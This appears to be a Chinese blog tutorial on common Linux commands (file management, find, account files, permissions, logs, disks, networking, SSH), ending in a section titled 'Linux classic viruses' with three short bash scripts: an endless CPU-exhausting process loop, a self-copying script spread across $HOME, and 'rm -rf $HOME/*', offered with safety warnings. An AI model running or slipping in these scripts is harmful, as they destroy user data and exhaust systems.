Linux 命令大汇总:从基础到进阶,提升你的操作效率!

Linux 基础知识解析与应用目录

1. 什么是 OpenSSL?

🔒OpenSSL 是一个功能强大的开源工具包,主要用于安全通信中加密、解密和生成密钥。常用于 HTTPS、SSL/TLS 认证等场景。

示例解析:

生成 MD5 加密密码: 🔑
openssl passwd -1 123

解析:

  • -1 参数:表示使用 MD5 算法加密。
  • 123 是要加密的明文字符串。
  • 输出:生成的 MD5 哈希密码。

在这里插入图片描述

生成 SHA256 加密密码:🔐
openssl passwd -5 123

解析:

  • -5 参数:表示使用 SHA256 算法加密。
  • 输出:对应的 SHA256 哈希密码。

在这里插入图片描述
补充知识:

  • 常用算法参数:
    • -6:SHA512
    • -apr1:Apache MD5
  • OpenSSL 是跨平台的工具,命令支持 Linux 和 Windows。

2. Linux 文件管理📂

创建空文件📝

touch newfile

解析:

  • touch 命令用于创建一个空文件,如果文件已存在,则更新其时间戳。
  • newfile 是创建的文件名。

删除文件❌

rm newfile

解析:

  • rm 命令用于删除文件或目录。
  • 使用 rm -i 可在删除前提示确认。

新建目录📂

mkdir newdir

解析:

  • mkdir 命令用于创建目录。
  • 使用 mkdir -p a/b/c 可递归创建多级目录。

删除目录🗑️

rmdir dir

解析:

  • rmdir 命令用于删除空目录。
  • 非空目录需要使用 rm -r dir

重命名文件✏️

mv file.txt new.txt

解析:

  • mv 命令用于移动或重命名文件。
  • file.txt 是原文件名,new.txt 是新名称。

移动文件📤

mv newfile newdir2

解析:

  • newfile 移动到 newdir2 目录中。

拷贝文件📋

cp file.txt newdir.txt

解析:

  • cp 命令用于复制文件。
  • 如果要复制目录,需加 -r 选项:cp -r dir1 dir2

软硬链接的区别🔗

软链接
ln -s /usr/local/bin/pip /usr/bin/pip

解析:

  • -s 表示创建符号链接(软链接)。
  • /usr/local/bin/pip 是目标文件。
  • /usr/bin/pip 是链接文件。
  • 特点:链接路径指向目标文件,删除目标文件后链接失效。
    在这里插入图片描述
硬链接
ln ~/offsec123.txt hardlink.txt

解析:

  • 硬链接是指向相同数据块的另一名称,与目标文件共享相同 inode。
  • 特点:目标文件删除后,硬链接仍可访问数据。
    在这里插入图片描述

3. Linux 文件搜索🔍

which🛠️

作用:
which 用于查找命令的可执行文件路径。

实例
which ls

解析:

  • 返回 ls 命令的绝对路径,例如 /bin/ls
    在这里插入图片描述

echo📢

查看 PATH 环境变量
echo $PATH

解析:

  • $PATH 环境变量存储系统中可执行文件的搜索路径。
  • 输出:多个路径,用冒号分隔,例如 /usr/bin:/bin:/usr/local/bin
    在这里插入图片描述

locate📂

作用:
locate 基于 local.db 数据库快速查找文件。

实例
locate -i *.img

解析:

  • -i:忽略大小写。
  • *.img:匹配所有以 .img 结尾的文件。

补充知识:

  • 数据库更新:使用 updatedb 手动更新 local.db
    在这里插入图片描述

find🔦

作用:
find 是强大的文件查找工具,支持实时搜索和复杂条件。

按修改时间查找
find . -type f -iname '*.txt' -mmin -30 -ls

解析:

  • .:在当前目录及子目录中搜索。
  • -type f:查找文件。
  • -iname '*.txt':忽略大小写匹配 .txt 文件。
  • -mmin -30:查找 30 分钟内修改的文件。
  • -ls:列出详细信息。
    在这里插入图片描述
删除文件
find -name '*.svn' -exec rm -rf {} \;

解析:

  • -exec:对找到的文件执行命令。
  • rm -rf {}:删除找到的文件。在这里插入图片描述
查找特定权限文件
find / -user root -type f -perm -o=w -name '*.sh' >/dev/null

解析:

  • -user root:查找属主为 root 的文件。
  • -perm -o=w:匹配其他用户可写权限。
  • >/dev/null:屏蔽输出。
    在这里插入图片描述

4. 用户和账户数据👤

查看用户信息📜

/etc/passwd
cat /etc/passwd

解析:

  • 显示系统所有用户的基本信息。
  • 每行格式:用户名:密码占位符:用户ID:组ID:描述:主目录:默认Shell
    在这里插入图片描述

/etc/shadow
cat /etc/shadow

解析:

  • 存储加密的用户密码。
  • 每行格式:用户名:加密密码:密码修改时间:密码失效时间:...
    在这里插入图片描述

/etc/group
cat /etc/group

解析:

  • 显示系统所有组信息。
  • 每行格式:组名:密码占位符:组ID:组内用户列表

账户管理命令🛠️

锁定账户🔒
sudo passwd -l username

解析:

  • -l:锁定指定用户账户,禁用登录。

设置账户到期日期⏳
chage -E 1900-01-01 username

解析:

  • 设置用户 username 的到期日期为 1900 年 1 月 1 日,之后无法登录。

查看账户状态📋
passwd -S username

解析:

  • 显示用户账户状态(锁定、激活等)。在这里插入图片描述

5. 文件系统权限🔧

Linux 系统中一切都是文件📜

查看权限👀

ls -la

解析:

  • ls -la:列出当前目录下所有文件和目录(包括隐藏文件)的详细信息。
  • 输出包含权限信息,例如:-rw-r--r--
    • 第一部分:文件类型(- 表示文件,d 表示目录,l 表示软链接)。
    • 后续部分:所有者、组和其他用户的权限。在这里插入图片描述

更改文件所有者👤

sudo chown tom dd.zip

解析:

  • chown 用于更改文件的所有者。
  • tom:新所有者。
  • dd.zip:目标文件。

补充知识:

  • 改变所有者和组:sudo chown tom:staff file.txt

修改文件权限✏️

实例 1📝
chmod u=rwx,g+rw,o-r anaconda-ks.cfg

解析:

  • 修改文件 anaconda-ks.cfg 的权限:
    • u=rwx:赋予用户读、写、执行权限。
    • g+rw:给组添加读写权限。
    • o-r:移除其他用户的读权限。
实例 2🔢
chmod 400 anaconda-ks.cfg

解析:

  • 使用八进制方式设置无权限:
    • 4:仅读权限。
    • 0:无权限。
  • 文件最终权限为 -r--------

6. 系统日志管理📜

查看日志文件 🗂️

ls -l /var/log

解析:

  • 列出 /var/log 目录下的所有日志文件及其权限、大小、修改时间等信息。在这里插入图片描述

认证日志🔑

sudo tail -3 /var/log/auth.log

解析:

  • auth.log:记录用户登录认证信息。
  • tail -3:显示日志文件的最后 3 行。

查看二进制日志💾

who /var/log/wtmp | tail -5

解析:

  • wtmp:记录登录、注销事件的二进制日志文件。
  • who:解读并显示登录记录。
    在这里插入图片描述

系统日志🖥️

dmesg

解析:

  • 显示系统内核日志,用于排查硬件和启动相关问题。在这里插入图片描述

systemd 日志📋

journalctl -xe

解析:

  • 查看 systemd 管理的系统日志,-xe 显示最新的详细日志。在这里插入图片描述

7. 内存和磁盘管理💾

内存管理📊

free -m

解析:

  • 显示系统内存使用情况:
    • -m:以 MB 为单位。在这里插入图片描述
      在这里插入图片描述

查看磁盘使用情况💽

df -hT

解析:

  • df 显示磁盘空间使用情况。
  • -h:人类可读格式(GB、MB)。
  • -T:显示文件系统类型。在这里插入图片描述

查看文件或目录大小📦

du ./* -hsc

解析:

  • du 显示文件或目录占用的磁盘空间。
  • -h:以人类可读格式输出。
  • -s:汇总总大小。
  • -c:显示总计。
    在这里插入图片描述

查看磁盘分区🧩

fdisk -l

解析:

  • 列出系统中的所有磁盘分区。
    在这里插入图片描述

挂载分区📂

mount /dev/sdb1 /mnt/usb

解析:

  • 将分区 /dev/sdb1 挂载到目录 /mnt/usb 下。

补充知识:

  • 查看当前挂载状态:mountcat /proc/mounts

8. 网络工具🌐

查看网络接口🔌

ifconfig
# 或
ip addr

解析:

  • ifconfig:显示网络接口的 IP 地址、子网掩码等信息。
  • ip addr:现代替代命令,功能更强大。
    在这里插入图片描述
    在这里插入图片描述

启用/禁用网络接口🚦

ifdown ens33
sudo ifup ens33

解析:

  • ifdown:禁用网络接口。
  • ifup:启用网络接口。
  • ens33:指定的网络接口名称。

查看网络配置⚙️

cat /etc/network/interfaces

解析:

  • 显示网络接口的静态配置文件。
    在这里插入图片描述

查看网络连接🔗

netstat -natup
# 或
ss -natup

解析:

  • -n:显示数字地址和端口。
  • -a:显示所有连接。
  • -t:显示 TCP 连接。
  • -u:显示 UDP 连接。
  • -p:显示所属进程。
    在这里插入图片描述
    在这里插入图片描述

查看 ARP 表📡

arp -en

解析:

  • 显示主机的 ARP 缓存表,列出已解析的 IP 和 MAC 地址。
    在这里插入图片描述

添加静态路由🚚

ip route add 10.13.37.0/24 dev ens33

解析:

  • 添加一个到子网 10.13.37.0/24 的路由,出接口为 ens33

追踪路由🛣️

traceroute offensive-security.com

解析:

  • 显示到目标主机的路由跳数和延迟。
    在这里插入图片描述

9. SSH 服务🔒

启动服务🛠️

systemctl start ssh

解析:

  • 启动 SSH 服务,使其能够接受远程连接。
    在这里插入图片描述

连接 SSH🌐

ssh root@localhost

解析:

  • 使用 SSH 登录本地主机。
  • root 是登录用户。

查看 SSH 配置文件📄

cat /etc/ssh/sshd_config

解析:

  • 显示 SSH 服务端配置文件内容。
    在这里插入图片描述

客户端配置🔧

hash knownHosts yes

解析:

  • 配置客户端记住已连接的主机。

远程拷贝📤

从远程拷贝到本地🖥️
scp root@1.1.1.1:/root/apache.txt new.txt

解析:

  • 1.1.1.1 远程主机的 /root/apache.txt 文件复制到本地 new.txt 文件。
从本地拷贝到远程🖥️
scp 0708.txt root@10.0.0.0:/root

解析:

  • 将本地文件 0708.txt 拷贝到远程主机的 /root 目录下。

查看历史命令🕒

history

解析:

  • 列出所有执行过的命令历史。
  • 查看带编号的最近 10 条记录:history 10

补充知识:

  • 清除历史:history -c
  • 删除特定记录:history -d [编号]

在这里插入图片描述

10. Linux目录介绍

目录描述
/bin存放二进制可执行命令与常用工具。
/etc存储系统管理和配置文件。
/etc/rc.d放置启动配置文件与脚本。
/home用户主目录基点,各用户专属子目录在此。
/lib有标准程序设计动态链接共享库。
/sbin存系统管理员用的管理程序。
/tmp公共临时文件存放处。
/root系统管理员主目录。
/mnt用于临时挂载外部文件系统。
/lost+found收留非正常关机“无家可归”文件。
/proc系统内存映射的虚拟目录,助获系统信息。
/var容纳日志等大文件溢出内容。
/usr庞大,含多数应用程序与文件。
/usr/bin众多日常应用程序存放地。
/usr/sbin存放超级用户管理程序。

11. Linux常用命令介绍

命令描述
ls显示当前目录文件及信息。
clear清屏,清空终端显示内容。
cd切换当前工作目录。
pwd显示当前目录完整路径。
vim强大文本编辑器。
cat查看文件全部内容。
head查看文件前半部分内容。
tail查看文件后半部分内容。
more翻页查看文件内容。
ssh远程连接主机或服务器。
chmod 777 文件赋文件最高权限。
chown变更文件所属用户与组。
adduser自动配目录等创建用户。
useradd依参数创用户,缺参有缺陷。
sudo以管理员权限运行命令。

12. Linux经典病毒

以下是三个常见的基于 Linux 的病毒代码示例,它们的目的是演示恶意行为的实现,但不鼓励任何滥用。此类代码仅供学习和安全研究参考,用于理解如何防护潜在威胁。


1. 资源耗尽病毒

通过无限循环占用系统资源。

#!/bin/bash
# 资源耗尽病毒:无限消耗CPU
while true
do
   yes > /dev/null &
done

解释: yes 命令会不断输出数据,重定向到 /dev/null 防止输出占用硬盘,但生成的子进程会持续占用 CPU。


2. 文件扩散病毒

在用户的文件夹中复制自身文件。

#!/bin/bash
# 文件扩散病毒
for dir in $(find $HOME -type d 2>/dev/null); do
    cp $0 "$dir/" 2>/dev/null
done

解释: 该脚本会遍历用户目录下的每一个文件夹,并将自身复制到这些文件夹中。


3. 文件破坏病毒

删除用户目录下的所有文件。

#!/bin/bash
# 文件破坏病毒:删除用户所有文件
rm -rf $HOME/*

解释: 使用 rm -rf 命令会强制删除用户主目录中的所有文件,导致数据丢失。


注意事项

  1. 危险性: 以上代码具有潜在危害性,禁止在实际生产或非隔离环境中运行。
  2. 防护措施:
    • 避免在未知来源的脚本中使用 sudo 权限运行。
    • 使用权限管理和防病毒软件检测恶意代码。
  3. 实验环境: 若需验证代码行为,请在虚拟机或隔离的环境中操作。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值